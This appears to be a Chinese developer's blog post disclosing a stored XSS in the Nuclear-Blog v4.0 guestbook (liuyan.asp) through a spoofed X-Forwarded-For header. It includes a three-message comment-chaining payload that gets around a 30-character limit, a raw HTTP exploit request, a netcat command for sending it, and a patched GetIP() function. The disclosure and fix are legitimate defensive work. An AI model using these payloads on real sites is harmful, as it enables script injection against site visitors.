Nuclear-Blog v5.0 马上就发布了,我就把这个 Nuclear-Blog v4.0 留言板的 XSS 漏洞,公布了吧。
其实此漏洞,在当时发布 Nuclear-Blog v4.0 源码的当天,就被发现了,发现的人是t00ls某核心,然后我直接补了,但是网盘下载的依然没补,所以目前市面上所有 Nuclear-Blog v4.0 均存在此漏洞,不知道有没有别人发现。
这是一个XSS漏洞,这个漏洞纯属是我的疏忽,漏洞在文件“liuyan/liuyan.asp”,看代码。
liuyan/liuyan.asp,第 113 行:
…… 以上省略 …… Function GetIP() '绕过代理获取真实IP Dim StrIPAddr If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" OR InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), "unknown") > 0 Then StrIPAddr = Request.ServerVariables("REMOTE_ADDR") ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",") > 0 Then StrIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",")-1) ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";") > 0 Then StrIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";")-1) Else StrIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR") End If GetIP = Trim(Mid(StrIPAddr, 1, 30)) End Function …… 以下省略 ……
漏洞产生原因:
这段代码看似正常,这段代码的功能是绕过代理获取用户真实IP,漏洞产生在函数“Request.ServerVariables("HTTP_X_FORWARDED_FOR")”。
这个函数取到的值是从客户端发送的HTTP头取到的,所以 HTTP_X_FORWARDED_FOR 可以使用http头伪造IP地址!当然也可以放其他的内容,漏洞就这样产生了。
这个其实很早以前学习Asp的时候,我就知道了,但不知为什么,当时抽风,居然用了这个函数,还没检查,我去……
类似这种函数的有很多,就不一一解释了,总之漏洞就是这么产生的。
但是这有个问题,看底下的蓝色部分,数据的长度被限制为 1-30 个字符,所以想插入XSS代码,有点操蛋,长度太短了,小于 30 个字符的 JavaScript 代码貌似没有 (<script>alert(/xss/)</script> 正好三十个字符) ……
呵呵,不过这个稍微动点脑子就可以了,先发一条留言,插入:*/</script>,再发一条留言插入:*/alert(/xss/);/*,最后再发一条留言插入:<script>/*,由于留言显示的方式是倒叙的,所以最后的显示代码就是:
…… 省略 Html 代码 …… <script>/* …… 省略 Html 代码 …… */alert(/xss/);/* …… 省略 Html 代码 …… */</script> …… 省略 Html 代码 ……
所有 /* 和 */ 之间的代码全就被注释掉了(/* html代码中的注释符号 */),这样 JavaScript 代码就完美的闭合了,然后你想插入多少代码都没问题,都可以执行,长度限制就毫无作用了,最重要的是 Firefox 和 IE 全都支持,实例代码如下:
<TABLE BORDER=2 WIDTH=500 borderColorDark=#808080 borderColorLight=#808080> <TR> <TD WIDTH=20%><TABLE WIDTH=100% BORDER=1 borderColorDark=#808080 borderColorLight=#808080> <TR valign="middle"> <TD align="center"><img src="../../image/face/1.gif"/></TD> </TR> <TR valign="middle"> <TD align="center"><b>镖镇王大侠</b></TD> </TR> </TABLE></TD> <TD><TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080> <TR> <TD width="20%">ID:2</TD> <TD width="45%">时间:2011-06-30 17:09:09</TD> <TD width="35%">IP:<script>/*</TD> </TR> <TR> <TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080> <TR> <TD height="80" valign="top">留言内容:<br> 大路朝天,各走一边。今个儿路过贵地,还希望各位当家的行个方便。(400字以内)</TD> </TR> <TR> <TD valign="top">管理回复:<br> </TD> </TR> </TABLE> </TR> </TABLE></TD> </TR> </TABLE> <br> <TABLE BORDER=2 WIDTH=500 borderColorDark=#808080 borderColorLight=#808080> <TR> <TD WIDTH=20%><TABLE WIDTH=100% BORDER=1 borderColorDark=#808080 borderColorLight=#808080> <TR valign="middle"> <TD align="center"><img src="../../image/face/1.gif"/></TD> </TR> <TR valign="middle"> <TD align="center"><b>镖镇王大侠</b></TD> </TR> </TABLE></TD> <TD><TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080> <TR> <TD width="20%">ID:2</TD> <TD width="45%">时间:2011-06-30 17:09:09</TD> <TD width="35%">IP:*/alert(/xss/);/*</TD> </TR> <TR> <TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080> <TR> <TD height="80" valign="top">留言内容:<br> 大路朝天,各走一边。今个儿路过贵地,还希望各位当家的行个方便。(400字以内)</TD> </TR> <TR> <TD valign="top">管理回复:<br> </TD> </TR> </TABLE> </TR> </TABLE></TD> </TR> </TABLE> <br> <TABLE BORDER=2 WIDTH=500 borderColorDark=#808080 borderColorLight=#808080> <TR> <TD WIDTH=20%><TABLE WIDTH=100% BORDER=1 borderColorDark=#808080 borderColorLight=#808080> <TR valign="middle"> <TD align="center"><img src="../../image/face/1.gif"/></TD> </TR> <TR valign="middle"> <TD align="center"><b>镖镇王大侠</b></TD> </TR> </TABLE></TD> <TD><TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080> <TR> <TD width="20%">ID:2</TD> <TD width="45%">时间:2011-06-30 17:09:09</TD> <TD width="35%">IP:*/</script></TD> </TR> <TR> <TABLE width=100% height="100%" BORDER=1 borderColorDark=#808080 borderColorLight=#808080> <TR> <TD height="80" valign="top">留言内容:<br> 大路朝天,各走一边。今个儿路过贵地,还希望各位当家的行个方便。(400字以内)</TD> </TR> <TR> <TD valign="top">管理回复:<br> </TD> </TR> </TABLE> </TR> </TABLE></TD> </TR> </TABLE>
Exp: POST /liuyan/liuyan.asp?save HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */* X-Forwarded-For: Hello World! Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Host: 127.0.0.1 Content-Length: 324 Connection: Keep-Alive Cache-Control: no-cache Cookie: AJSTAT_ok_times=1; TLWNHIRSISRTUNOJIKUD=RDHRHVSXNBYEHUFEPSYNZLOGLGBEJQEPROBCUOEL UserPic=..%2Fimage%2Fface%2F1.gif&mingzi=%EF%DA%D5%F2%CD%F5%B4%F3%CF%C0&liuyan=++++%B4%F3%C2%B7%B3%AF%CC%EC%A3%AC%B8%F7%D7%DF%D2%BB%B1%DF%A1%A3%BD%F1%B8%F6%B6%F9%C2%B7%B9%FD%B9%F3%B5%D8%A3%AC%BB%B9%CF%A3%CD%FB%B8%F7%CE%BB%B5%B1%BC%D2%B5%C4%D0%D0%B8%F6%B7%BD%B1%E3%A1%A3%28400%D7%D6%D2%D4%C4%DA%29&ok=%CC%E1%BD%BB%CA%FD%BE%DD
啥?不知道咋用???? Look → Nc.exe -vv lcx.cc 80<Exp.txt,你懂得。。。
修复方案,直接替换 GetIP() 整个函数即可,或者干脆升级到 v5.0 吧:
Function GetIP() '获取IP Dim Tmp Tmp = Request.ServerVariables("REMOTE_ADDR") IF Len(Tmp) < 7 Then Response.End IF Len(Tmp) > 15 Then Response.End IF InStr(Tmp, "'") > 0 Then Response.End IF InStr(Tmp, """") > 0 Then Response.End IF InStr(Tmp, "<") > 0 Then Response.End IF InStr(Tmp, ">") > 0 Then Response.End GetIP = Server.HtmlEncode(Tmp) End Function
留言评论(旧系统):